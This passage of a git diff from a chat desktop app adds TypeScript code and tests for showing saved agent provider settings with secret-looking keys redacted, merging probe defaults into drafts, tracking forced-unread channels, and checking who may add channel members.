+      "namespace",
+      "image",
+      "cpu_request",
+      "memory_request",
+      "cpu_limit",
+      "memory_limit",
+      "inactivity_seconds",
+      "alpha_extra",
+      "zeta_extra",
+    ],
+  );
+});
+
+test("null, empty-string, boolean, and number values all display honestly", () => {
+  const summary = summarizeRunOn({
+    type: "provider",
+    id: "p",
+    config: { a_null: null, b_empty: "", c_flag: true, d_num: 0, e_off: false },
+  });
+  const values = Object.fromEntries(summary.rows.map((r) => [r.key, r.value]));
+  assert.equal(values.a_null, "Not set");
+  assert.equal(values.b_empty, "Not set");
+  assert.equal(values.c_flag, "true");
+  // Falsy-but-present values must never read as missing: coerceConfigValues
+  // emits real numbers/booleans, so `value || fallback` would lie about 0/false.
+  assert.equal(values.d_num, "0");
+  assert.equal(values.e_off, "false");
+});
+
+test("every row value is a string — objects must never reach React children", () => {
+  // React throws on an object child, taking down the whole edit dialog.
+  // A hand-edited managed-agents.json with nested config is exactly the
+  // record the create-time scalar gate never saw.
+  const summary = summarizeRunOn({
+    type: "provider",
+    id: "p",
+    config: {
+      resources: { limits: { cpu: "2" } },
+      flag: true,
+      count: 3,
+      name: "x",
+      missing: null,
+    },
+  });
+  for (const row of summary.rows) {
+    assert.equal(typeof row.value, "string", `${row.key} is not a string`);
+  }
+});
+
+test("arrays and objects are summarized, never serialized", () => {
+  const summary = summarizeRunOn({
+    type: "provider",
+    id: "p",
+    config: {
+      tolerations: [{ key: "gpu" }, { key: "spot" }],
+      node_selector: { disktype: "ssd" },
+    },
+  });
+  const values = Object.fromEntries(summary.rows.map((r) => [r.key, r.value]));
+  assert.equal(values.tolerations, "List (2 items)");
+  assert.equal(values.node_selector, "Structured value");
+  // The nested content must not leak through.
+  assert.ok(!JSON.stringify(values).includes("ssd"));
+});
+
+test("secret-shaped keys are redacted, fail-safe for unknown providers", () => {
+  const summary = summarizeRunOn({
+    type: "provider",
+    id: "future-provider",
+    config: {
+      api_token: "abc123",
+      registry_password: "hunter2",
+      clientSecret: "s3cr3t",
+      authHeader: "Bearer xyz",
+      privateKey: "nsec1...",
+      namespace: "safe-to-show",
+    },
+  });
+  const byKey = Object.fromEntries(summary.rows.map((r) => [r.key, r]));
+  for (const key of [
+    "api_token",
+    "registry_password",
+    "clientSecret",
+    "authHeader",
+    "privateKey",
+  ]) {
+    assert.equal(byKey[key].redacted, true, `${key} must be redacted`);
+    assert.equal(byKey[key].value, "••••••••");
+  }
+  assert.equal(byKey.namespace.redacted, false);
+  assert.equal(byKey.namespace.value, "safe-to-show");
+  // Raw secret bytes must be absent from the whole summary.
+  const dump = JSON.stringify(summary);
+  for (const secret of ["abc123", "hunter2", "s3cr3t", "Bearer xyz", "nsec1"]) {
+    assert.ok(!dump.includes(secret), `${secret} leaked`);
+  }
+});
+
+test("humanizeConfigKey handles snake_case, camelCase, and acronyms", () => {
+  assert.equal(humanizeConfigKey("cpu_request"), "CPU request");
+  assert.equal(humanizeConfigKey("memory_limit"), "Memory limit");
+  assert.equal(humanizeConfigKey("serviceAccount"), "Service account");
+  assert.equal(humanizeConfigKey("image"), "Image");
+  assert.equal(humanizeConfigKey("api_url"), "API URL");
+  assert.equal(humanizeConfigKey(""), "");
+});
diff --git a/desktop/src/features/agents/ui/runOnSummary.ts b/desktop/src/features/agents/ui/runOnSummary.ts
new file mode 100644
index 0000000000..f37155481a
--- /dev/null
+++ b/desktop/src/features/agents/ui/runOnSummary.ts
@@ -0,0 +1,156 @@
+import type { ManagedAgentBackend } from "@/shared/api/types";
+
+/**
+ * A single saved provider-config row, ready to render.
+ *
+ * `value` is always a display string: scalars are stringified, `null` becomes
+ * an explicit "Not set", and anything non-scalar (array/object) is summarized
+ * rather than dumped — a generic "render every value" helper must not become
+ * a disclosure surface for config shapes we have never seen.
+ */
+export type RunOnConfigRow = {
+  key: string;
+  label: string;
+  value: string;
+  /** True when the key looks secret-shaped and the value was replaced. */
+  redacted: boolean;
+};
+
+export type RunOnSummary =
+  | { location: "local" }
+  | { location: "provider"; providerId: string; rows: RunOnConfigRow[] };
+
+/**
+ * Words that mark a key's value as unrenderable, checked against the same
+ * word-split the create-time gate uses (`validate_provider_config`,
+ * src-tauri managed_agents/backend.rs) so there is one definition of
+ * "looks like a secret", not two that drift. That gate already rejects
+ * secret-shaped keys on the only non-test write path to `agent.backend` —
+ * this display-side redaction is screenshot hygiene, not the missing
+ * credential fix: a value that is fine in `managed-agents.json` on the
+ * owner's own disk is not fine in a dialog that gets screenshotted into a
+ * channel or PR body, and hand-edited records never met the gate at all.
+ * The first five words mirror the Rust list; the rest are display-only
+ * extras (redacting more than create rejects fails safe).
+ */
+const SECRET_WORDS = new Set([
+  "secret",
+  "password",
+  "token",
+  "key",
+  "credential",
+  "passphrase",
+  "auth",
+  "nsec",
+]);
+
+const REDACTED_PLACEHOLDER = "••••••••";
+
+/** Acronyms that read wrong in sentence case ("Cpu request"). */
+const LABEL_ACRONYMS = new Set(["cpu", "id", "url", "api"]);
+
+/**
+ * Split a config key into lowercase words on `_`, `-`, `.`, and camelCase
+ * boundaries, keeping acronym runs together ("APIKey" → ["api", "key"]).
+ * Mirrors `split_config_key` in managed_agents/backend.rs — one split feeds
+ * both labels and redaction, and word matching (not substring) is what
+ * keeps "keyboard" from being treated as a key.
+ */
+function splitConfigKey(key: string): string[] {
+  return key
+    .replace(/([a-z0-9])([A-Z])/g, "$1 $2")
+    .replace(/([A-Z]+)([A-Z][a-z])/g, "$1 $2")
+    .split(/[_\s.-]+/)
+    .filter((word) => word.length > 0)
+    .map((word) => word.toLowerCase());
+}
+
+/**
+ * Humanize a stored config key: `cpu_request` → "CPU request". Labels come
+ * from the saved keys, not a live provider probe — probing during edit is
+ * executable work whose schema (titles, generated defaults) reflects the
+ * plugin *today*, not what this agent was deployed with. See PR #4411 for
+ * why dialogs must not re-probe as a side effect.
+ */
+export function humanizeConfigKey(key: string): string {
+  const words = splitConfigKey(key);
+  if (words.length === 0) return key;
+  return words
+    .map((word, index) => {
+      if (LABEL_ACRONYMS.has(word)) return word.toUpperCase();
+      if (index === 0) return word.charAt(0).toUpperCase() + word.slice(1);
+      return word;
+    })
+    .join(" ");
+}
+
+function displayValue(value: unknown): string {
+  if (value === null || value === undefined) return "Not set";
+  if (typeof value === "string") return value.length > 0 ? value : "Not set";
+  if (typeof value === "number" || typeof value === "boolean")
+    return String(value);
+  // Arrays/objects: summarize, never serialize. A nested structure could
+  // carry values its own keys would have redacted.
+  return Array.isArray(value)
+    ? `List (${value.length} items)`
+    : "Structured value";
+}
+
+/**
+ * Preferred display order, traced from the Kubernetes provider schema
+ * (crates/buzz-backend-kubernetes/src/config.rs): locate the deployment
+ * first (context → namespace), then what runs (image), then the
+ * request/limit pairs kept adjacent, then lifecycle/identity. Keys not
+ * listed here (other providers, future fields) spill over alphabetically
+ * after the known ones, so ordering stays deterministic for every record.
+ */
+const PREFERRED_KEY_ORDER = [
+  "context",
+  "namespace",
+  "image",
+  "cpu_request",
+  "memory_request",
+  "cpu_limit",
+  "memory_limit",
+  "inactivity_seconds",
+  "service_account",
+];
+
+function compareKeys(a: string, b: string): number {
+  const ia = PREFERRED_KEY_ORDER.indexOf(a);
+  const ib = PREFERRED_KEY_ORDER.indexOf(b);
+  if (ia !== -1 && ib !== -1) return ia - ib;
+  if (ia !== -1) return -1;
+  if (ib !== -1) return 1;
+  return a.localeCompare(b);
+}
+
+/**
+ * Project a `ManagedAgentBackend` into renderable rows. These are the
+ * *saved* settings — the config recorded when the agent was created — not
+ * the provider's effective settings: optional fields a record omits are
+ * defaulted by the provider at deploy time, and synthesizing today's plugin
+ * defaults here could show values that drifted from what actually deployed.
+ * (`backendAgentId` is deliberately not shown: it is deploy-time runtime
+ * state written on start, not saved creation intent, and this section's
+ * contract is the latter.) Rows follow the preferred key order with
+ * alphabetical spillover, so rendering is deterministic regardless of the
+ * JSON key order a given record happened to persist.
+ */
+export function summarizeRunOn(backend: ManagedAgentBackend): RunOnSummary {
+  if (backend.type === "local") return { location: "local" };
+  const rows = Object.entries(backend.config ?? {})
+    .sort(([a], [b]) => compareKeys(a, b))
+    .map(([key, value]): RunOnConfigRow => {
+      const redacted = splitConfigKey(key).some((word) =>
+        SECRET_WORDS.has(word),
+      );
+      return {
+        key,
+        label: humanizeConfigKey(key),
+        value: redacted ? REDACTED_PLACEHOLDER : displayValue(value),
+        redacted,
+      };
+    });
+  return { location: "provider", providerId: backend.id, rows };
+}
diff --git a/desktop/src/features/agents/ui/whereToRunIntent.test.mjs b/desktop/src/features/agents/ui/whereToRunIntent.test.mjs
index 500e9019f2..262d55d998 100644
--- a/desktop/src/features/agents/ui/whereToRunIntent.test.mjs
+++ b/desktop/src/features/agents/ui/whereToRunIntent.test.mjs
@@ -2,6 +2,7 @@ import assert from "node:assert/strict";
 import test from "node:test";
 
 import {
+  applyProbeResult,
   canSubmitWhereToRun,
   emptyWhereToRunDraft,
   providerConfigComplete,
@@ -59,3 +60,72 @@ test("provider draft resolves with coerced config values", () => {
     config: { region: "us", size: 3 },
   });
 });
+
+// ── applyProbeResult: probe resolution must merge, not overwrite ─────────────
+//
+// Pins the seam that fixed the "Typewriter Eraser" (agent-create dialog's
+// provider config fields losing keystrokes): a probe resolution prefills
+// schema defaults *beneath* the user's in-flight config, never over it. The
+// effect in WhereToRunSection keys probing on the provider's binary path, so
+// the only probe writes that reach providerConfig are the ones pinned here.
+
+const probeWithDefaults = {
+  ok: true,
+  config_schema: {
+    properties: {
+      context: { type: "string", title: "Kubeconfig context" },
+      namespace: { type: "string", default: "buzz-agents-x1y2z3" },
+      inactivity_seconds: { type: "number", default: 1800 },
+    },
+    required: ["namespace"],
+  },
+};
+
+const unprobedDraft = {
+  ...emptyWhereToRunDraft,
+  runOn: "kubernetes",
+};
+
+test("probe resolution prefills schema defaults on a fresh draft", () => {
+  const next = applyProbeResult(unprobedDraft, probeWithDefaults);
+  assert.equal(next.probedProvider, probeWithDefaults);
+  assert.deepEqual(next.providerConfig, {
+    namespace: "buzz-agents-x1y2z3",
+    inactivity_seconds: "1800",
+  });
+});
+
+test("probe resolution keeps user-typed values over schema defaults", () => {
+  const typed = {
+    ...unprobedDraft,
+    providerConfig: { context: "prod-us-west", namespace: "my-ns" },
+  };
+  const next = applyProbeResult(typed, probeWithDefaults);
+  assert.deepEqual(next.providerConfig, {
+    context: "prod-us-west",
+    namespace: "my-ns",
+    inactivity_seconds: "1800",
+  });
+});
+
+test("probe resolution keeps a user-cleared field cleared", () => {
+  // "" is a deliberate user state — coerceConfigValues drops empty numerics
+  // and required-gating treats "" as incomplete; the probe must not undo it.
+  const cleared = { ...unprobedDraft, providerConfig: { namespace: "" } };
+  const next = applyProbeResult(cleared, probeWithDefaults);
+  assert.equal(next.providerConfig.namespace, "");
+});
+
+test("a schema-less probe result records the probe without touching config", () => {
+  const typed = { ...unprobedDraft, providerConfig: { context: "abc" } };
+  const next = applyProbeResult(typed, { ok: true });
+  assert.deepEqual(next.providerConfig, { context: "abc" });
+  assert.deepEqual(next.probedProvider, { ok: true });
+});
+
+test("probe resolution preserves unrelated draft fields", () => {
+  assert.equal(
+    applyProbeResult(unprobedDraft, probeWithDefaults).runOn,
+    "kubernetes",
+  );
+});
diff --git a/desktop/src/features/agents/ui/whereToRunIntent.ts b/desktop/src/features/agents/ui/whereToRunIntent.ts
index fcb3e82b7e..9aa9248e75 100644
--- a/desktop/src/features/agents/ui/whereToRunIntent.ts
+++ b/desktop/src/features/agents/ui/whereToRunIntent.ts
@@ -15,6 +15,35 @@ export const emptyWhereToRunDraft: WhereToRunDraft = {
   probedProvider: null,
 };
 
+/**
+ * Fold a completed probe into the draft the user has *now* — not the draft
+ * that existed when the probe started. Schema defaults prefill only the keys
+ * the user has not touched: anything already in `providerConfig` (typed while
+ * the probe was in flight) wins over the default. Overwriting instead of
+ * merging is the "Typewriter Eraser" bug — every probe resolution silently
+ * erased in-flight keystrokes.
+ */
+export function applyProbeResult(
+  current: WhereToRunDraft,
+  result: BackendProviderProbeResult,
+): WhereToRunDraft {
+  const defaults: Record<string, string> = {};
+  const properties =
+    (result.config_schema as Record<string, unknown> | undefined)?.properties ??
+    {};
+  for (const [key, property] of Object.entries(properties) as [
+    string,
+    Record<string, unknown>,
+  ][]) {
+    if (property.default != null) defaults[key] = String(property.default);
+  }
+  return {
+    ...current,
+    probedProvider: result,
+    providerConfig: { ...defaults, ...current.providerConfig },
+  };
+}
+
 export function providerConfigComplete(draft: WhereToRunDraft): boolean {
   if (draft.runOn === "local") return true;
   if (!draft.probedProvider) return false;
diff --git a/desktop/src/features/agents/useAgentAccessOwnerOnly.ts b/desktop/src/features/agents/useAgentAccessOwnerOnly.ts
new file mode 100644
index 0000000000..d5de995334
--- /dev/null
+++ b/desktop/src/features/agents/useAgentAccessOwnerOnly.ts
@@ -0,0 +1,25 @@
+/**
+ * React hook: report whether this build forces owner-only agent access.
+ *
+ * The value is baked at build time, so it cannot change while the app runs.
+ * The query key is stable and the result never goes stale, which keeps one
+ * fetch per QueryClient lifetime and gives every caller the same answer.
+ */
+import { useQuery } from "@tanstack/react-query";
+
+import { getAgentAccessOwnerOnly } from "@/shared/api/tauriAgentAccess";
+
+export const agentAccessOwnerOnlyQueryKey = [
+  "agent-access-owner-only",
+] as const;
+
+export function useAgentAccessOwnerOnlyQuery(options?: { enabled?: boolean }) {
+  return useQuery({
+    queryKey: agentAccessOwnerOnlyQueryKey,
+    queryFn: () => getAgentAccessOwnerOnly(),
+    enabled: options?.enabled ?? true,
+    staleTime: Infinity,
+    refetchInterval: false,
+    retry: false,
+  });
+}
diff --git a/desktop/src/features/agents/useAgentManagement.ts b/desktop/src/features/agents/useAgentManagement.ts
index f4cdb895ef..066f7949a9 100644
--- a/desktop/src/features/agents/useAgentManagement.ts
+++ b/desktop/src/features/agents/useAgentManagement.ts
@@ -301,7 +301,11 @@ export function useAgentManagement() {
     ...createdAgentAttachment,
     isPending,
     runtimes: runtimesQuery.data ?? [],
-    runtimesLoading: runtimesQuery.isLoading,
+    runtimeCatalogStatus: runtimesQuery.isLoading
+      ? ("loading" as const)
+      : runtimesQuery.isError
+        ? ("error" as const)
+        : ("ready" as const),
     submitCreate,
     submitUpdate,
     dismiss,
diff --git a/desktop/src/features/channels/forcedUnreadStore.test.mjs b/desktop/src/features/channels/forcedUnreadStore.test.mjs
new file mode 100644
index 0000000000..cea1c3babe
--- /dev/null
+++ b/desktop/src/features/channels/forcedUnreadStore.test.mjs
@@ -0,0 +1,55 @@
+import assert from "node:assert/strict";
+import test from "node:test";
+
+import {
+  addForcedUnreadSource,
+  forcedUnreadMarker,
+  removeForcedUnreadSource,
+} from "./forcedUnreadStore.ts";
+
+test("adding an Inbox owner preserves an existing manual force", () => {
+  const entry = addForcedUnreadSource(null, 120, "inbox");
+
+  assert.deepEqual(entry, {
+    markerAtWhenForced: null,
+    sources: ["manual", "inbox"],
+  });
+});
+
+test("clearing Inbox ownership leaves a manual force intact", () => {
+  const entry = {
+    markerAtWhenForced: 120,
+    sources: ["manual", "inbox"],
+  };
+
+  assert.deepEqual(removeForcedUnreadSource(entry, "inbox"), {
+    markerAtWhenForced: 120,
+    sources: ["manual"],
+  });
+});
+
+test("clearing manual ownership leaves an Inbox force intact", () => {
+  const entry = {
+    markerAtWhenForced: 120,
+    sources: ["manual", "inbox"],
+  };
+
+  assert.deepEqual(removeForcedUnreadSource(entry, "manual"), {
+    markerAtWhenForced: 120,
+    sources: ["inbox"],
+  });
+});
+
+test("clearing the only force owner removes the entry", () => {
+  const entry = {
+    markerAtWhenForced: 120,
+    sources: ["inbox"],
+  };
+
+  assert.equal(removeForcedUnreadSource(entry, "inbox"), undefined);
+});
+
+test("legacy persisted entries retain their read-marker baseline", () => {
+  assert.equal(forcedUnreadMarker(120), 120);
+  assert.equal(forcedUnreadMarker(null), null);
+});
diff --git a/desktop/src/features/channels/forcedUnreadStore.ts b/desktop/src/features/channels/forcedUnreadStore.ts
index c6a6fd0758..c4c25dcecb 100644
--- a/desktop/src/features/channels/forcedUnreadStore.ts
+++ b/desktop/src/features/channels/forcedUnreadStore.ts
@@ -1,14 +1,17 @@
+import * as React from "react";
+
 /**
- * Per-pubkey localStorage record store for channels manually marked unread via
- * right-click → "mark unread". Keyed by channelId (not thread-root). Persisted
- * so the sidebar badge survives reload and the rail observer can read it for
- * inactive communities.
+ * Per-pubkey localStorage record store for channels forced unread by manual or
+ * Inbox actions. Keyed by channelId (not thread-root). Persisted so the sidebar
+ * badge survives reload and the rail observer can read it for inactive
+ * communities.
  *
  * Each entry stores the channel's own NIP-RS read marker (unix seconds) at the
- * moment mark-unread was invoked, or null if no marker existed yet. The rail
- * observer gates the forced-unread OR on this baseline: if the observed synced
- * read marker has since advanced past markerAtWhenForced, the cross-device read
- * wins and the dot is not lit.
+ * moment the first force was added, or null if no marker existed yet, plus the
+ * sources that currently own the force. The rail observer gates the
+ * forced-unread OR on this baseline: if the observed synced read marker has
+ * since advanced past markerAtWhenForced, the cross-device read wins and the
+ * dot is not lit.
  *
  * On identity change, the in-memory map is swapped to the current pubkey's
  * persisted data. Old pubkey data is NOT wiped from localStorage.
@@ -17,8 +20,58 @@
  * a retrograde "unread" state. localStorage is best-effort (per-device).
  */
 
-/** channelId → NIP-RS read marker (unix seconds) at force-time, or null */
-export type ForcedUnreadMap = Record<string, number | null>;
+export type ForcedUnreadSource = "inbox" | "manual";
+export type ForcedUnreadEntry =
+  | number
+  | null
+  | {
+      markerAtWhenForced: number | null;
+      sources: ForcedUnreadSource[];
+    };
+/** channelId → forced-unread entry. Numbers/null are the legacy v1 shape. */
+export type ForcedUnreadMap = Record<string, ForcedUnreadEntry>;
+
+function entrySources(entry: ForcedUnreadEntry): ForcedUnreadSource[] {
+  return typeof entry === "object" && entry !== null
+    ? entry.sources
+    : ["manual"];
+}
+
+export function forcedUnreadMarker(entry: ForcedUnreadEntry): number | null {
+  return typeof entry === "object" && entry !== null
+    ? entry.markerAtWhenForced
+    : entry;
+}
+
+export function addForcedUnreadSource(
+  entry: ForcedUnreadEntry | undefined,
+  markerAtWhenForced: number | null,
+  source: ForcedUnreadSource,
+): ForcedUnreadEntry {
+  if (entry !== undefined && entrySources(entry).includes(source)) return entry;
+  return {
+    markerAtWhenForced:
+      entry === undefined ? markerAtWhenForced : forcedUnreadMarker(entry),
+    sources: [
+      ...new Set([...(entry === undefined ? [] : entrySources(entry)), source]),
+    ],
+  };
+}
+
+export function removeForcedUnreadSource(
+  entry: ForcedUnreadEntry,
+  source: ForcedUnreadSource,
+): ForcedUnreadEntry | undefined {
+  const sources = entrySources(entry);
+  if (!sources.includes(source)) return entry;
+  const remainingSources = sources.filter((candidate) => candidate !== source);
+  return remainingSources.length > 0
+    ? {
+        markerAtWhenForced: forcedUnreadMarker(entry),
+        sources: remainingSources,
+      }
+    : undefined;
+}
 
 const STORAGE_PREFIX = "buzz-forced-unread.v1";
 const storageKey = (pubkey: string) => `${STORAGE_PREFIX}:${pubkey}`;
@@ -37,8 +90,27 @@ export const forcedUnreadStore = {
         return {};
       const result: ForcedUnreadMap = {};
       for (const [k, v] of Object.entries(parsed)) {
-        if (typeof k === "string" && (v === null || typeof v === "number")) {
-          result[k] = v as number | null;
+        if (typeof k !== "string") continue;
+        if (v === null || typeof v === "number") {
+          result[k] = v;
+          continue;
+        }
+        if (
+          typeof v === "object" &&
+          v !== null &&
+          "markerAtWhenForced" in v &&
+          (v.markerAtWhenForced === null ||
+            typeof v.markerAtWhenForced === "number") &&
+          "sources" in v &&
+          Array.isArray(v.sources)
+        ) {
+          const sources = v.sources.filter(
+            (source: unknown): source is ForcedUnreadSource =>
+              source === "inbox" || source === "manual",
+          );
+          if (sources.length > 0) {
+            result[k] = { markerAtWhenForced: v.markerAtWhenForced, sources };
+          }
         }
       }
       return result;
@@ -54,3 +126,44 @@ export const forcedUnreadStore = {
     }
   },
 };
+
+export function useForcedUnreadActions(
+  forcedUnreadRef: React.MutableRefObject<ForcedUnreadMap>,
+  getOwnTimestamp: (channelId: string) => number | null,
+  pubkey: string | undefined,
+  onChange: () => void,
+) {
+  const persist = React.useCallback(() => {
+    if (pubkey) forcedUnreadStore.write(pubkey, forcedUnreadRef.current);
+    onChange();
+  }, [forcedUnreadRef, onChange, pubkey]);
+  const markChannelUnread = React.useCallback(
+    (channelId: string, source: ForcedUnreadSource = "manual") => {
+      const current = Object.hasOwn(forcedUnreadRef.current, channelId)
+        ? forcedUnreadRef.current[channelId]
+        : undefined;
+      const next = addForcedUnreadSource(
+        current,
+        getOwnTimestamp(channelId),
+        source,
+      );
+      if (next === current) return;
+      forcedUnreadRef.current[channelId] = next;
+      persist();
+    },
+    [forcedUnreadRef, getOwnTimestamp, persist],
+  );
+  const clearChannelUnreadSource = React.useCallback(
+    (channelId: string, source: ForcedUnreadSource) => {
+      if (!Object.hasOwn(forcedUnreadRef.current, channelId)) return;
+      const current = forcedUnreadRef.current[channelId];
+      const next = removeForcedUnreadSource(current, source);
+      if (next === current) return;
+      if (next === undefined) delete forcedUnreadRef.current[channelId];
+      else forcedUnreadRef.current[channelId] = next;
+      persist();
+    },
+    [forcedUnreadRef, persist],
+  );
+  return { clearChannelUnreadSource, markChannelUnread };
+}
diff --git a/desktop/src/features/channels/hooks.ts b/desktop/src/features/channels/hooks.ts
index 9003d0f5a5..51297b915b 100644
--- a/desktop/src/features/channels/hooks.ts
+++ b/desktop/src/features/channels/hooks.ts
@@ -14,6 +14,7 @@ import {
   joinChannel,
   leaveChannel,
   openDm,
+  invokeTauri,
   removeChannelMember,
   setCanvas,
   setChannelPurpose,
@@ -31,7 +32,9 @@ import type {
   SetChannelTopicInput,
   UpdateChannelInput,
 } from "@/shared/api/types";
+import { useIdentityQuery } from "@/shared/api/hooks";
 import { useCommunities } from "@/features/communities/useCommunities";
+import { canAddChannelMembers } from "@/features/channels/lib/channelMemberAdmission";
 import {
   readChannelSnapshot,
   writeChannelSnapshot,
@@ -500,6 +503,32 @@ export function useDeleteChannelMutation(channelId: string | null) {
   });
 }
 
+/**
+ * Whether the signed-in identity may add *another* identity to this channel,
+ * per {@link canAddChannelMembers}. Both queries are the ones the channel UI
+ * already holds, so this shares their cache rather than fetching again.
+ */
+export function useCanAddChannelMembers(channelId: string | null) {
+  const channelsQuery = useChannelsQuery();
+  const membersQuery = useChannelMembersQuery(channelId);
+  const identityQuery = useIdentityQuery();
+
+  const channel =
+    channelsQuery.data?.find((candidate) => candidate.id === channelId) ?? null;
+  const selfPubkey = identityQuery.data?.pubkey ?? null;
+  const selfRole = selfPubkey
+    ? (membersQuery.data?.find(
+        (member) => member.pubkey.toLowerCase() === selfPubkey.toLowerCase(),
+      )?.role ?? null)
+    : null;
+
+  return canAddChannelMembers({
+    channelType: channel?.channelType,
+    visibility: channel?.visibility,
+    selfRole,
+  });
+}
+
 export function useAddChannelMembersMutation(channelId: string | null) {
   const queryClient = useQueryClient();
 
@@ -517,6 +546,21 @@ export function useAddChannelMembersMutation(channelId: string | null) {
 
       return addChannelMembers({ ...rest, channelId: effectiveChannelId });
     },
+    onSuccess: (result, variables) => {
+      const effectiveChannelId = variables.channelId ?? channelId;
+      if (
+        effectiveChannelId &&
+        variables.role === "bot" &&
+        result.added.length > 0
+      ) {
+        void invokeTauri("sync_agents_to_active_huddle", {
+          channelId: effectiveChannelId,
+          agentPubkeys: result.added,
+        }).catch((error) => {
+          console.warn("Could not sync added agents into Huddle:", error);
+        });
+      }
+    },
     onSettled: async (_data, _err, variables) => {
       // Invalidate the effective channel (the one actually mutated) not the
       // live hook-closure channel, which may have changed mid-send.
diff --git a/desktop/src/features/channels/lib/channelMemberAdmission.test.mjs b/desktop/src/features/channels/lib/channelMemberAdmission.test.mjs
new file mode 100644
index 0000000000..0af22459f4
--- /dev/null
+++ b/desktop/src/features/channels/lib/channelMemberAdmission.test.mjs
@@ -0,0 +1,79 @@
+import { strict as assert } from "node:assert";
+import test from "node:test";
+
+import { canAddChannelMembers } from "./channelMemberAdmission.ts";
+
+test("open channels accept adds from anyone, member or not", () => {
+  assert.equal(
+    canAddChannelMembers({
+      channelType: "stream",
+      visibility: "open",
+      selfRole: null,
+    }),
+    true,
+  );
+  assert.equal(
+    canAddChannelMembers({
+      channelType: "stream",
+      visibility: "open",
+      selfRole: "member",
+    }),
+    true,
+  );
+});
+
+test("private channels accept adds only from owners/admins", () => {
+  for (const selfRole of ["owner", "admin"]) {
+    assert.equal(
+      canAddChannelMembers({
+        channelType: "stream",
+        visibility: "private",
+        selfRole,
+      }),
+      true,
+      `${selfRole} should be able to add`,
+    );
+  }
+
+  for (const selfRole of ["member", "bot", "guest", null]) {
+    assert.equal(
+      canAddChannelMembers({
+        channelType: "stream",
+        visibility: "private",
+        selfRole,
+      }),
+      false,
+      `${selfRole} must not be able to add`,
+    );
+  }
+});
+
+test("DMs never accept adds, even from an owner", () => {
+  assert.equal(
+    canAddChannelMembers({
+      channelType: "dm",
+      visibility: "private",
+      selfRole: "owner",
+    }),
+    false,
+  );
+  assert.equal(
+    canAddChannelMembers({
+      channelType: "dm",
+      visibility: "open",
+      selfRole: "owner",
+    }),
+    false,
+  );
+});
+
+test("unknown visibility fails closed for non-elevated callers", () => {
+  assert.equal(
+    canAddChannelMembers({ channelType: "stream", selfRole: "member" }),
+    false,
+  );
+  assert.equal(
+    canAddChannelMembers({ channelType: "stream", selfRole: "owner" }),
+    true,
+  );
+});
diff --git a/desktop/src/features/channels/lib/channelMemberAdmission.ts b/desktop/src/features/channels/lib/channelMemberAdmission.ts
new file mode 100644
index 0000000000..b01c6f5216
--- /dev/null
+++ b/desktop/src/features/channels/lib/channelMemberAdmission.ts
@@ -0,0 +1,36 @@
+/**
+ * Client mirror of the relay's kind:9000 authority for adding *another*
+ * identity to a channel (`validate_admin_event` + `buzz_db::channel::add_member`):
+ *
+ * - DMs: nobody — membership is fixed at creation.
+ * - Open channels: anyone, member or not.
+ * - Private channels: owners/admins only. A plain member extending access to
+ *   channel history is exactly what the relay now rejects, so the affordance
+ *   must not be offered.
+ *
+ * Unknown visibility fails closed — the relay is the authority and a hidden
+ * button is cheaper than an opaque rejection.
+ */
+export function canAddChannelMembers({
+  channelType,
+  visibility,
+  selfRole,
+}: {
+  channelType?: string | null;
+  visibility?: string | null;
+  selfRole?: string | null;
+}): boolean {
+  if (channelType === "dm") {
+    return false;
+  }
+
+  if (visibility === "open") {
+    return true;
+  }
+
+  return selfRole === "owner" || selfRole === "admin";
+}
+
+/** Explains a denied add so the user isn't left guessing at a missing button. */
+export const PRIVATE_CHANNEL_ADD_DENIED_MESSAGE =
+  "Only channel owners and admins can add people to a private channel.";
diff --git a/desktop/src/features/channels/observedUnreadStorage.test.mjs b/desktop/src/features/channels/observedUnreadStorage.test.mjs
new file mode 100644
index 0000000000..5fff76a2cb
--- /dev/null
+++ b/desktop/src/features/channels/observedUnreadStorage.test.mjs
@@ -0,0 +1,343 @@
+import assert from "node:assert/strict";
+import test from "node:test";
+
+import {
+  clearObservedUnreadStorage,
+  deriveLatestByChannel,
+  observedUnreadStorageKey,
+  OBSERVED_UNREAD_STORAGE_PREFIX,
+  readObservedUnreadFromStorage,
+  writeObservedUnreadToStorage,
+} from "./observedUnreadStorage.ts";
+import { READ_STATE_HORIZON_SECONDS } from "./readState/readStateFormat.ts";
+import {
+  withIsolatedStorage,
+  makeObservedEvent,
+  makeEventsByChannel,
+} from "./observedUnreadTestHarness.mjs";
+
+const NOW_SECONDS = Math.floor(Date.now() / 1_000);
+const FRESH_AT = NOW_SECONDS - 100;
+const STALE_AT = NOW_SECONDS - READ_STATE_HORIZON_SECONDS - 100;
+
+// ── observedUnreadStorageKey ──────────────────────────────────────────────────
+
+test("observedUnreadStorageKey: prefix, normalization, and isolation", () => {
+  const base = observedUnreadStorageKey("pk1", "wss://relay.example.com");
+  // Has correct prefix.
+  assert.ok(base.startsWith(`${OBSERVED_UNREAD_STORAGE_PREFIX}:`));
+  // URL normalizes (trailing slash, mixed case).
+  assert.equal(
+    base,
+    observedUnreadStorageKey("pk1", "WSS://Relay.Example.Com/"),
+  );
+  // Relay isolation.
+  assert.notEqual(
+    base,
+    observedUnreadStorageKey("pk1", "wss://relay-b.example.com"),
+  );
+  // Pubkey isolation.
+  assert.notEqual(
+    base,
+    observedUnreadStorageKey("pk2", "wss://relay.example.com"),
+  );
+});
+
+// ── write/read round-trip ─────────────────────────────────────────────────────
+
+test("round-trip: events written are readable and intact", () => {
+  withIsolatedStorage(() => {
+    const pubkey = "pk1";
+    const relay = "wss://relay.example.com";
+    const event = makeObservedEvent({ id: "e1", createdAt: FRESH_AT });
+    const map = makeEventsByChannel([["channel-1", [event]]]);
+
+    writeObservedUnreadToStorage(pubkey, relay, map);
+    const result = readObservedUnreadFromStorage(pubkey, relay);
+
+    assert.ok(result !== null, "should return a map");
+    const ch = result.get("channel-1");
+    assert.ok(ch !== undefined, "channel-1 should be present");
+    assert.ok(ch.has("e1"), "event e1 should be present");
+    const e = ch.get("e1");
+    assert.equal(e.id, "e1");
+    assert.equal(e.createdAt, FRESH_AT);
+    assert.equal(e.rootId, "root-e1");
+  });
+});
+
+test("round-trip: relay A rows not readable under relay B", () => {
+  withIsolatedStorage(() => {
+    const pubkey = "pk1";
+    const relayA = "wss://relay-a.example.com";
+    const relayB = "wss://relay-b.example.com";
+    const map = makeEventsByChannel([
+      ["channel-1", [makeObservedEvent({ id: "e1", createdAt: FRESH_AT })]],
+    ]);
+
+    writeObservedUnreadToStorage(pubkey, relayA, map);
+    const result = readObservedUnreadFromStorage(pubkey, relayB);
+
+    assert.equal(result, null, "relay B should see no data");
+  });
+});
+
+test("read returns null for missing key, corrupt JSON, and non-object eventsByChannel", () => {
